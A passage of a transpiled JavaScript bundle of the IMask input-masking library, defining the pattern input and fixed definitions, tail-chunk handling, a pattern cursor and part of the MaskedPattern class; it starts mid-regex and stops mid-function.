6EA\u1700-\u170C\u170E-\u1711\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF\uFFD2-\uFFD7\uFFDA-\uFFDC]/,
	  '*': /./
	};
	var PatternInputDefinition = function () {
	  function PatternInputDefinition(opts) {
	    _classCallCheck(this, PatternInputDefinition);
	    var mask = opts.mask,
	        blockOpts = _objectWithoutProperties(opts, _excluded$4);
	    this.masked = createMask({
	      mask: mask
	    });
	    Object.assign(this, blockOpts);
	  }
	  _createClass(PatternInputDefinition, [{
	    key: "reset",
	    value: function reset() {
	      this.isFilled = false;
	      this.masked.reset();
	    }
	  }, {
	    key: "remove",
	    value: function remove() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      if (fromPos === 0 && toPos >= 1) {
	        this.isFilled = false;
	        return this.masked.remove(fromPos, toPos);
	      }
	      return new ChangeDetails();
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this.masked.value || (this.isFilled && !this.isOptional ? this.placeholderChar : '');
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this.masked.unmaskedValue;
	    }
	  }, {
	    key: "isComplete",
	    get: function get() {
	      return Boolean(this.masked.value) || this.isOptional;
	    }
	  }, {
	    key: "_appendChar",
	    value: function _appendChar(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      if (this.isFilled) return new ChangeDetails();
	      var state = this.masked.state;
	      var details = this.masked._appendChar(ch, flags);
	      if (details.inserted && this.doValidate(flags) === false) {
	        details.inserted = details.rawInserted = '';
	        this.masked.state = state;
	      }
	      if (!details.inserted && !this.isOptional && !this.lazy && !flags.input) {
	        details.inserted = this.placeholderChar;
	      }
	      details.skip = !details.inserted && !this.isOptional;
	      this.isFilled = Boolean(details.inserted);
	      return details;
	    }
	  }, {
	    key: "append",
	    value: function append() {
	      var _this$masked;
	      return (_this$masked = this.masked).append.apply(_this$masked, arguments);
	    }
	  }, {
	    key: "_appendPlaceholder",
	    value: function _appendPlaceholder() {
	      var details = new ChangeDetails();
	      if (this.isFilled || this.isOptional) return details;
	      this.isFilled = true;
	      details.inserted = this.placeholderChar;
	      return details;
	    }
	  }, {
	    key: "_appendEager",
	    value: function _appendEager() {
	      return new ChangeDetails();
	    }
	  }, {
	    key: "extractTail",
	    value: function extractTail() {
	      var _this$masked2;
	      return (_this$masked2 = this.masked).extractTail.apply(_this$masked2, arguments);
	    }
	  }, {
	    key: "appendTail",
	    value: function appendTail() {
	      var _this$masked3;
	      return (_this$masked3 = this.masked).appendTail.apply(_this$masked3, arguments);
	    }
	  }, {
	    key: "extractInput",
	    value: function extractInput() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var flags = arguments.length > 2 ? arguments[2] : undefined;
	      return this.masked.extractInput(fromPos, toPos, flags);
	    }
	  }, {
	    key: "nearestInputPos",
	    value: function nearestInputPos(cursorPos) {
	      var direction = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : DIRECTION.NONE;
	      var minPos = 0;
	      var maxPos = this.value.length;
	      var boundPos = Math.min(Math.max(cursorPos, minPos), maxPos);
	      switch (direction) {
	        case DIRECTION.LEFT:
	        case DIRECTION.FORCE_LEFT:
	          return this.isComplete ? boundPos : minPos;
	        case DIRECTION.RIGHT:
	        case DIRECTION.FORCE_RIGHT:
	          return this.isComplete ? boundPos : maxPos;
	        case DIRECTION.NONE:
	        default:
	          return boundPos;
	      }
	    }
	  }, {
	    key: "doValidate",
	    value: function doValidate() {
	      var _this$masked4, _this$parent;
	      return (_this$masked4 = this.masked).doValidate.apply(_this$masked4, arguments) && (!this.parent || (_this$parent = this.parent).doValidate.apply(_this$parent, arguments));
	    }
	  }, {
	    key: "doCommit",
	    value: function doCommit() {
	      this.masked.doCommit();
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return {
	        masked: this.masked.state,
	        isFilled: this.isFilled
	      };
	    },
	    set: function set(state) {
	      this.masked.state = state.masked;
	      this.isFilled = state.isFilled;
	    }
	  }]);
	  return PatternInputDefinition;
	}();

	var PatternFixedDefinition = function () {
	  function PatternFixedDefinition(opts) {
	    _classCallCheck(this, PatternFixedDefinition);
	    Object.assign(this, opts);
	    this._value = '';
	    this.isFixed = true;
	  }
	  _createClass(PatternFixedDefinition, [{
	    key: "value",
	    get: function get() {
	      return this._value;
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this.isUnmasking ? this.value : '';
	    }
	  }, {
	    key: "reset",
	    value: function reset() {
	      this._isRawInput = false;
	      this._value = '';
	    }
	  }, {
	    key: "remove",
	    value: function remove() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this._value.length;
	      this._value = this._value.slice(0, fromPos) + this._value.slice(toPos);
	      if (!this._value) this._isRawInput = false;
	      return new ChangeDetails();
	    }
	  }, {
	    key: "nearestInputPos",
	    value: function nearestInputPos(cursorPos) {
	      var direction = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : DIRECTION.NONE;
	      var minPos = 0;
	      var maxPos = this._value.length;
	      switch (direction) {
	        case DIRECTION.LEFT:
	        case DIRECTION.FORCE_LEFT:
	          return minPos;
	        case DIRECTION.NONE:
	        case DIRECTION.RIGHT:
	        case DIRECTION.FORCE_RIGHT:
	        default:
	          return maxPos;
	      }
	    }
	  }, {
	    key: "extractInput",
	    value: function extractInput() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this._value.length;
	      var flags = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
	      return flags.raw && this._isRawInput && this._value.slice(fromPos, toPos) || '';
	    }
	  }, {
	    key: "isComplete",
	    get: function get() {
	      return true;
	    }
	  }, {
	    key: "isFilled",
	    get: function get() {
	      return Boolean(this._value);
	    }
	  }, {
	    key: "_appendChar",
	    value: function _appendChar(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      var details = new ChangeDetails();
	      if (this._value) return details;
	      var appended = this.char === ch;
	      var isResolved = appended && (this.isUnmasking || flags.input || flags.raw) && !this.eager && !flags.tail;
	      if (isResolved) details.rawInserted = this.char;
	      this._value = details.inserted = this.char;
	      this._isRawInput = isResolved && (flags.raw || flags.input);
	      return details;
	    }
	  }, {
	    key: "_appendEager",
	    value: function _appendEager() {
	      return this._appendChar(this.char);
	    }
	  }, {
	    key: "_appendPlaceholder",
	    value: function _appendPlaceholder() {
	      var details = new ChangeDetails();
	      if (this._value) return details;
	      this._value = details.inserted = this.char;
	      return details;
	    }
	  }, {
	    key: "extractTail",
	    value: function extractTail() {
	      arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      return new ContinuousTailDetails('');
	    }
	  }, {
	    key: "appendTail",
	    value: function appendTail(tail) {
	      if (isString(tail)) tail = new ContinuousTailDetails(String(tail));
	      return tail.appendTo(this);
	    }
	  }, {
	    key: "append",
	    value: function append(str, flags, tail) {
	      var details = this._appendChar(str[0], flags);
	      if (tail != null) {
	        details.tailShift += this.appendTail(tail).tailShift;
	      }
	      return details;
	    }
	  }, {
	    key: "doCommit",
	    value: function doCommit() {}
	  }, {
	    key: "state",
	    get: function get() {
	      return {
	        _value: this._value,
	        _isRawInput: this._isRawInput
	      };
	    },
	    set: function set(state) {
	      Object.assign(this, state);
	    }
	  }]);
	  return PatternFixedDefinition;
	}();

	var _excluded$3 = ["chunks"];
	var ChunksTailDetails = function () {
	  function ChunksTailDetails() {
	    var chunks = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : [];
	    var from = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
	    _classCallCheck(this, ChunksTailDetails);
	    this.chunks = chunks;
	    this.from = from;
	  }
	  _createClass(ChunksTailDetails, [{
	    key: "toString",
	    value: function toString() {
	      return this.chunks.map(String).join('');
	    }
	  }, {
	    key: "extend",
	    value: function extend(tailChunk) {
	      if (!String(tailChunk)) return;
	      if (isString(tailChunk)) tailChunk = new ContinuousTailDetails(String(tailChunk));
	      var lastChunk = this.chunks[this.chunks.length - 1];
	      var extendLast = lastChunk && (
	      lastChunk.stop === tailChunk.stop || tailChunk.stop == null) &&
	      tailChunk.from === lastChunk.from + lastChunk.toString().length;
	      if (tailChunk instanceof ContinuousTailDetails) {
	        if (extendLast) {
	          lastChunk.extend(tailChunk.toString());
	        } else {
	          this.chunks.push(tailChunk);
	        }
	      } else if (tailChunk instanceof ChunksTailDetails) {
	        if (tailChunk.stop == null) {
	          var firstTailChunk;
	          while (tailChunk.chunks.length && tailChunk.chunks[0].stop == null) {
	            firstTailChunk = tailChunk.chunks.shift();
	            firstTailChunk.from += tailChunk.from;
	            this.extend(firstTailChunk);
	          }
	        }
	        if (tailChunk.toString()) {
	          tailChunk.stop = tailChunk.blockIndex;
	          this.chunks.push(tailChunk);
	        }
	      }
	    }
	  }, {
	    key: "appendTo",
	    value: function appendTo(masked) {
	      if (!(masked instanceof IMask.MaskedPattern)) {
	        var tail = new ContinuousTailDetails(this.toString());
	        return tail.appendTo(masked);
	      }
	      var details = new ChangeDetails();
	      for (var ci = 0; ci < this.chunks.length && !details.skip; ++ci) {
	        var chunk = this.chunks[ci];
	        var lastBlockIter = masked._mapPosToBlock(masked.value.length);
	        var stop = chunk.stop;
	        var chunkBlock = void 0;
	        if (stop != null && (
	        !lastBlockIter || lastBlockIter.index <= stop)) {
	          if (chunk instanceof ChunksTailDetails ||
	          masked._stops.indexOf(stop) >= 0) {
	            details.aggregate(masked._appendPlaceholder(stop));
	          }
	          chunkBlock = chunk instanceof ChunksTailDetails && masked._blocks[stop];
	        }
	        if (chunkBlock) {
	          var tailDetails = chunkBlock.appendTail(chunk);
	          tailDetails.skip = false;
	          details.aggregate(tailDetails);
	          masked._value += tailDetails.inserted;
	          var remainChars = chunk.toString().slice(tailDetails.rawInserted.length);
	          if (remainChars) details.aggregate(masked.append(remainChars, {
	            tail: true
	          }));
	        } else {
	          details.aggregate(masked.append(chunk.toString(), {
	            tail: true
	          }));
	        }
	      }
	      return details;
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return {
	        chunks: this.chunks.map(function (c) {
	          return c.state;
	        }),
	        from: this.from,
	        stop: this.stop,
	        blockIndex: this.blockIndex
	      };
	    },
	    set: function set(state) {
	      var chunks = state.chunks,
	          props = _objectWithoutProperties(state, _excluded$3);
	      Object.assign(this, props);
	      this.chunks = chunks.map(function (cstate) {
	        var chunk = "chunks" in cstate ? new ChunksTailDetails() : new ContinuousTailDetails();
	        chunk.state = cstate;
	        return chunk;
	      });
	    }
	  }, {
	    key: "unshift",
	    value: function unshift(beforePos) {
	      if (!this.chunks.length || beforePos != null && this.from >= beforePos) return '';
	      var chunkShiftPos = beforePos != null ? beforePos - this.from : beforePos;
	      var ci = 0;
	      while (ci < this.chunks.length) {
	        var chunk = this.chunks[ci];
	        var shiftChar = chunk.unshift(chunkShiftPos);
	        if (chunk.toString()) {
	          if (!shiftChar) break;
	          ++ci;
	        } else {
	          this.chunks.splice(ci, 1);
	        }
	        if (shiftChar) return shiftChar;
	      }
	      return '';
	    }
	  }, {
	    key: "shift",
	    value: function shift() {
	      if (!this.chunks.length) return '';
	      var ci = this.chunks.length - 1;
	      while (0 <= ci) {
	        var chunk = this.chunks[ci];
	        var shiftChar = chunk.shift();
	        if (chunk.toString()) {
	          if (!shiftChar) break;
	          --ci;
	        } else {
	          this.chunks.splice(ci, 1);
	        }
	        if (shiftChar) return shiftChar;
	      }
	      return '';
	    }
	  }]);
	  return ChunksTailDetails;
	}();

	var PatternCursor = function () {
	  function PatternCursor(masked, pos) {
	    _classCallCheck(this, PatternCursor);
	    this.masked = masked;
	    this._log = [];
	    var _ref = masked._mapPosToBlock(pos) || (pos < 0 ?
	    {
	      index: 0,
	      offset: 0
	    } :
	    {
	      index: this.masked._blocks.length,
	      offset: 0
	    }),
	        offset = _ref.offset,
	        index = _ref.index;
	    this.offset = offset;
	    this.index = index;
	    this.ok = false;
	  }
	  _createClass(PatternCursor, [{
	    key: "block",
	    get: function get() {
	      return this.masked._blocks[this.index];
	    }
	  }, {
	    key: "pos",
	    get: function get() {
	      return this.masked._blockStartPos(this.index) + this.offset;
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return {
	        index: this.index,
	        offset: this.offset,
	        ok: this.ok
	      };
	    },
	    set: function set(s) {
	      Object.assign(this, s);
	    }
	  }, {
	    key: "pushState",
	    value: function pushState() {
	      this._log.push(this.state);
	    }
	  }, {
	    key: "popState",
	    value: function popState() {
	      var s = this._log.pop();
	      this.state = s;
	      return s;
	    }
	  }, {
	    key: "bindBlock",
	    value: function bindBlock() {
	      if (this.block) return;
	      if (this.index < 0) {
	        this.index = 0;
	        this.offset = 0;
	      }
	      if (this.index >= this.masked._blocks.length) {
	        this.index = this.masked._blocks.length - 1;
	        this.offset = this.block.value.length;
	      }
	    }
	  }, {
	    key: "_pushLeft",
	    value: function _pushLeft(fn) {
	      this.pushState();
	      for (this.bindBlock(); 0 <= this.index; --this.index, this.offset = ((_this$block = this.block) === null || _this$block === void 0 ? void 0 : _this$block.value.length) || 0) {
	        var _this$block;
	        if (fn()) return this.ok = true;
	      }
	      return this.ok = false;
	    }
	  }, {
	    key: "_pushRight",
	    value: function _pushRight(fn) {
	      this.pushState();
	      for (this.bindBlock(); this.index < this.masked._blocks.length; ++this.index, this.offset = 0) {
	        if (fn()) return this.ok = true;
	      }
	      return this.ok = false;
	    }
	  }, {
	    key: "pushLeftBeforeFilled",
	    value: function pushLeftBeforeFilled() {
	      var _this = this;
	      return this._pushLeft(function () {
	        if (_this.block.isFixed || !_this.block.value) return;
	        _this.offset = _this.block.nearestInputPos(_this.offset, DIRECTION.FORCE_LEFT);
	        if (_this.offset !== 0) return true;
	      });
	    }
	  }, {
	    key: "pushLeftBeforeInput",
	    value: function pushLeftBeforeInput() {
	      var _this2 = this;
	      return this._pushLeft(function () {
	        if (_this2.block.isFixed) return;
	        _this2.offset = _this2.block.nearestInputPos(_this2.offset, DIRECTION.LEFT);
	        return true;
	      });
	    }
	  }, {
	    key: "pushLeftBeforeRequired",
	    value: function pushLeftBeforeRequired() {
	      var _this3 = this;
	      return this._pushLeft(function () {
	        if (_this3.block.isFixed || _this3.block.isOptional && !_this3.block.value) return;
	        _this3.offset = _this3.block.nearestInputPos(_this3.offset, DIRECTION.LEFT);
	        return true;
	      });
	    }
	  }, {
	    key: "pushRightBeforeFilled",
	    value: function pushRightBeforeFilled() {
	      var _this4 = this;
	      return this._pushRight(function () {
	        if (_this4.block.isFixed || !_this4.block.value) return;
	        _this4.offset = _this4.block.nearestInputPos(_this4.offset, DIRECTION.FORCE_RIGHT);
	        if (_this4.offset !== _this4.block.value.length) return true;
	      });
	    }
	  }, {
	    key: "pushRightBeforeInput",
	    value: function pushRightBeforeInput() {
	      var _this5 = this;
	      return this._pushRight(function () {
	        if (_this5.block.isFixed) return;
	        _this5.offset = _this5.block.nearestInputPos(_this5.offset, DIRECTION.NONE);
	        return true;
	      });
	    }
	  }, {
	    key: "pushRightBeforeRequired",
	    value: function pushRightBeforeRequired() {
	      var _this6 = this;
	      return this._pushRight(function () {
	        if (_this6.block.isFixed || _this6.block.isOptional && !_this6.block.value) return;
	        _this6.offset = _this6.block.nearestInputPos(_this6.offset, DIRECTION.NONE);
	        return true;
	      });
	    }
	  }]);
	  return PatternCursor;
	}();

	var MaskedRegExp = function (_Masked) {
	  _inherits(MaskedRegExp, _Masked);
	  var _super = _createSuper(MaskedRegExp);
	  function MaskedRegExp() {
	    _classCallCheck(this, MaskedRegExp);
	    return _super.apply(this, arguments);
	  }
	  _createClass(MaskedRegExp, [{
	    key: "_update",
	    value:
	    function _update(opts) {
	      if (opts.mask) opts.validate = function (value) {
	        return value.search(opts.mask) >= 0;
	      };
	      _get(_getPrototypeOf(MaskedRegExp.prototype), "_update", this).call(this, opts);
	    }
	  }]);
	  return MaskedRegExp;
	}(Masked);
	IMask.MaskedRegExp = MaskedRegExp;

	var _excluded$2 = ["_blocks"];
	var MaskedPattern = function (_Masked) {
	  _inherits(MaskedPattern, _Masked);
	  var _super = _createSuper(MaskedPattern);
	  function MaskedPattern() {
	    var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
	    _classCallCheck(this, MaskedPattern);
	    opts.definitions = Object.assign({}, DEFAULT_INPUT_DEFINITIONS, opts.definitions);
	    return _super.call(this, Object.assign({}, MaskedPattern.DEFAULTS, opts));
	  }
	  _createClass(MaskedPattern, [{
	    key: "_update",
	    value: function _update() {
	      var opts = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
	      opts.definitions = Object.assign({}, this.definitions, opts.definitions);
	      _get(_getPrototypeOf(MaskedPattern.prototype), "_update", this).call(this, opts);
	      this._rebuildMask();
	    }
	  }, {
	    key: "_rebuildMask",
	    value: function _rebuildMask() {
	      var _this = this;
	      var defs = this.definitions;
	      this._blocks = [];
	      this._stops = [];
	      this._maskedBlocks = {};
	      var pattern = this.mask;
	      if (!pattern || !defs) return;
	      var unmaskingBlock = false;
	      var optionalBlock = false;
	      for (var i = 0; i < pattern.length; ++i) {
	        if (this.blocks) {
	          var _ret = function () {
	            var p = pattern.slice(i);
	            var bNames = Object.keys(_this.blocks).filter(function (bName) {
	              return p.indexOf(bName) === 0;
	            });
	            bNames.sort(function (a, b) {
	              return b.length - a.length;
	            });
	            var bName = bNames[0];
	            if (bName) {
	              var maskedBlock = createMask(Object.assign({
	                parent: _this,
	                lazy: _this.lazy,
	                eager: _this.eager,
	                placeholderChar: _this.placeholderChar,
	                overwrite: _this.overwrite
	              }, _this.blocks[bName]));
	              if (maskedBlock) {
	                _this._blocks.push(maskedBlock);
	                if (!_this._maskedBlocks[bName]) _this._maskedBlocks[bName] = [];
	                _this._maskedBlocks[bName].push(_this._blocks.length - 1);
	              }
	              i += bName.length - 1;
	              return "continue";
	            }
	          }();
	          if (_ret === "continue") continue;
	        }
	        var char = pattern[i];
	        var isInput = (char in defs);
	        if (char === MaskedPattern.STOP_CHAR) {
	          this._stops.push(this._blocks.length);
	          continue;
	        }
	        if (char === '{' || char === '}') {
	          unmaskingBlock = !unmaskingBlock;
	          continue;
	        }
	        if (char === '[' || char === ']') {
	          optionalBlock = !optionalBlock;
	          continue;
	        }
	        if (char === MaskedPattern.ESCAPE_CHAR) {
	          ++i;
	          char = pattern[i];
	          if (!char) break;
	          isInput = false;
	        }
	        var def = isInput ? new PatternInputDefinition({
	          parent: this,
	          lazy: this.lazy,
	          eager: this.eager,
	          placeholderChar: this.placeholderChar,
	          mask: defs[char],
	          isOptional: optionalBlock
	        }) : new PatternFixedDefinition({
	          char: char,
	          eager: this.eager,
	          isUnmasking: unmaskingBlock
	        });
	        this._blocks.push(def);
	      }
	    }
	  }, {
	    key: "state",
	    get: function get() {
	      return Object.assign({}, _get(_getPrototypeOf(MaskedPattern.prototype), "state", this), {
	        _blocks: this._blocks.map(function (b) {
	          return b.state;
	        })
	      });
	    },
	    set: function set(state) {
	      var _blocks = state._blocks,
	          maskedState = _objectWithoutProperties(state, _excluded$2);
	      this._blocks.forEach(function (b, bi) {
	        return b.state = _blocks[bi];
	      });
	      _set(_getPrototypeOf(MaskedPattern.prototype), "state", maskedState, this, true);
	    }
	  }, {
	    key: "reset",
	    value: function reset() {
	      _get(_getPrototypeOf(MaskedPattern.prototype), "reset", this).call(this);
	      this._blocks.forEach(function (b) {
	        return b.reset();
	      });
	    }
	  }, {
	    key: "isComplete",
	    get: function get() {
	      return this._blocks.every(function (b) {
	        return b.isComplete;
	      });
	    }
	  }, {
	    key: "isFilled",
	    get: function get() {
	      return this._blocks.every(function (b) {
	        return b.isFilled;
	      });
	    }
	  }, {
	    key: "isFixed",
	    get: function get() {
	      return this._blocks.every(function (b) {
	        return b.isFixed;
	      });
	    }
	  }, {
	    key: "isOptional",
	    get: function get() {
	      return this._blocks.every(function (b) {
	        return b.isOptional;
	      });
	    }
	  }, {
	    key: "doCommit",
	    value: function doCommit() {
	      this._blocks.forEach(function (b) {
	        return b.doCommit();
	      });
	      _get(_getPrototypeOf(MaskedPattern.prototype), "doCommit", this).call(this);
	    }
	  }, {
	    key: "unmaskedValue",
	    get: function get() {
	      return this._blocks.reduce(function (str, b) {
	        return str += b.unmaskedValue;
	      }, '');
	    },
	    set: function set(unmaskedValue) {
	      _set(_getPrototypeOf(MaskedPattern.prototype), "unmaskedValue", unmaskedValue, this, true);
	    }
	  }, {
	    key: "value",
	    get: function get() {
	      return this._blocks.reduce(function (str, b) {
	        return str += b.value;
	      }, '');
	    },
	    set: function set(value) {
	      _set(_getPrototypeOf(MaskedPattern.prototype), "value", value, this, true);
	    }
	  }, {
	    key: "appendTail",
	    value: function appendTail(tail) {
	      return _get(_getPrototypeOf(MaskedPattern.prototype), "appendTail", this).call(this, tail).aggregate(this._appendPlaceholder());
	    }
	  }, {
	    key: "_appendEager",
	    value: function _appendEager() {
	      var _this$_mapPosToBlock;
	      var details = new ChangeDetails();
	      var startBlockIndex = (_this$_mapPosToBlock = this._mapPosToBlock(this.value.length)) === null || _this$_mapPosToBlock === void 0 ? void 0 : _this$_mapPosToBlock.index;
	      if (startBlockIndex == null) return details;
	      if (this._blocks[startBlockIndex].isFilled) ++startBlockIndex;
	      for (var bi = startBlockIndex; bi < this._blocks.length; ++bi) {
	        var d = this._blocks[bi]._appendEager();
	        if (!d.inserted) break;
	        details.aggregate(d);
	      }
	      return details;
	    }
	  }, {
	    key: "_appendCharRaw",
	    value: function _appendCharRaw(ch) {
	      var flags = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};
	      var blockIter = this._mapPosToBlock(this.value.length);
	      var details = new ChangeDetails();
	      if (!blockIter) return details;
	      for (var bi = blockIter.index;; ++bi) {
	        var _flags$_beforeTailSta;
	        var _block = this._blocks[bi];
	        if (!_block) break;
	        var blockDetails = _block._appendChar(ch, Object.assign({}, flags, {
	          _beforeTailState: (_flags$_beforeTailSta = flags._beforeTailState) === null || _flags$_beforeTailSta === void 0 ? void 0 : _flags$_beforeTailSta._blocks[bi]
	        }));
	        var skip = blockDetails.skip;
	        details.aggregate(blockDetails);
	        if (skip || blockDetails.rawInserted) break;
	      }
	      return details;
	    }
	  }, {
	    key: "extractTail",
	    value: function extractTail() {
	      var _this2 = this;
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var chunkTail = new ChunksTailDetails();
	      if (fromPos === toPos) return chunkTail;
	      this._forEachBlocksInRange(fromPos, toPos, function (b, bi, bFromPos, bToPos) {
	        var blockChunk = b.extractTail(bFromPos, bToPos);
	        blockChunk.stop = _this2._findStopBefore(bi);
	        blockChunk.from = _this2._blockStartPos(bi);
	        if (blockChunk instanceof ChunksTailDetails) blockChunk.blockIndex = bi;
	        chunkTail.extend(blockChunk);
	      });
	      return chunkTail;
	    }
	  }, {
	    key: "extractInput",
	    value: function extractInput() {
	      var fromPos = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0;
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var flags = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};
	      if (fromPos === toPos) return '';
	      var input = '';
	      this._forEachBlocksInRange(fromPos, toPos, function (b, _, fromPos, toPos) {
	        input += b.extractInput(fromPos, toPos, flags);
	      });
	      return input;
	    }
	  }, {
	    key: "_findStopBefore",
	    value: function _findStopBefore(blockIndex) {
	      var stopBefore;
	      for (var si = 0; si < this._stops.length; ++si) {
	        var stop = this._stops[si];
	        if (stop <= blockIndex) stopBefore = stop;else break;
	      }
	      return stopBefore;
	    }
	  }, {
	    key: "_appendPlaceholder",
	    value: function _appendPlaceholder(toBlockIndex) {
	      var _this3 = this;
	      var details = new ChangeDetails();
	      if (this.lazy && toBlockIndex == null) return details;
	      var startBlockIter = this._mapPosToBlock(this.value.length);
	      if (!startBlockIter) return details;
	      var startBlockIndex = startBlockIter.index;
	      var endBlockIndex = toBlockIndex != null ? toBlockIndex : this._blocks.length;
	      this._blocks.slice(startBlockIndex, endBlockIndex).forEach(function (b) {
	        if (!b.lazy || toBlockIndex != null) {
	          var args = b._blocks != null ? [b._blocks.length] : [];
	          var bDetails = b._appendPlaceholder.apply(b, args);
	          _this3._value += bDetails.inserted;
	          details.aggregate(bDetails);
	        }
	      });
	      return details;
	    }
	  }, {
	    key: "_mapPosToBlock",
	    value: function _mapPosToBlock(pos) {
	      var accVal = '';
	      for (var bi = 0; bi < this._blocks.length; ++bi) {
	        var _block2 = this._blocks[bi];
	        var blockStartPos = accVal.length;
	        accVal += _block2.value;
	        if (pos <= accVal.length) {
	          return {
	            index: bi,
	            offset: pos - blockStartPos
	          };
	        }
	      }
	    }
	  }, {
	    key: "_blockStartPos",
	    value: function _blockStartPos(blockIndex) {
	      return this._blocks.slice(0, blockIndex).reduce(function (pos, b) {
	        return pos += b.value.length;
	      }, 0);
	    }
	  }, {
	    key: "_forEachBlocksInRange",
	    value: function _forEachBlocksInRange(fromPos) {
	      var toPos = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : this.value.length;
	      var fn = arguments.length > 2 ? arguments[2] : undefined;
	      var fromBlockIter = this._mapPosToBlock(fromPos);
	      if (fromBlockIter) {
	        var toBlockIter = this._mapPosToBlock(toPos);
	        var isSameBlock = toBlockIter && fromBlockIter.index === toBlockIter.index;
	        var fromBlockStartPos = fromBlockIter.offset;
	        var fromBlockEndPos = toBlockIter && isSameBlock ? toBlockIter.offset : this._blocks[fromBlockIter.index].value.length;
	        fn(this._blocks[fromBlockIter.index], fromBlockIter.index, fromBlockStartPos, fromBlockEndPos);
	        if (toBlockIter && !isSameBlock) {
	          for (var bi = fromBlockIter.index + 1; bi < toBlockIter.index; ++bi) {
	            fn(this._blocks[bi], bi, 0, this._blocks[bi].value.length);
	          }
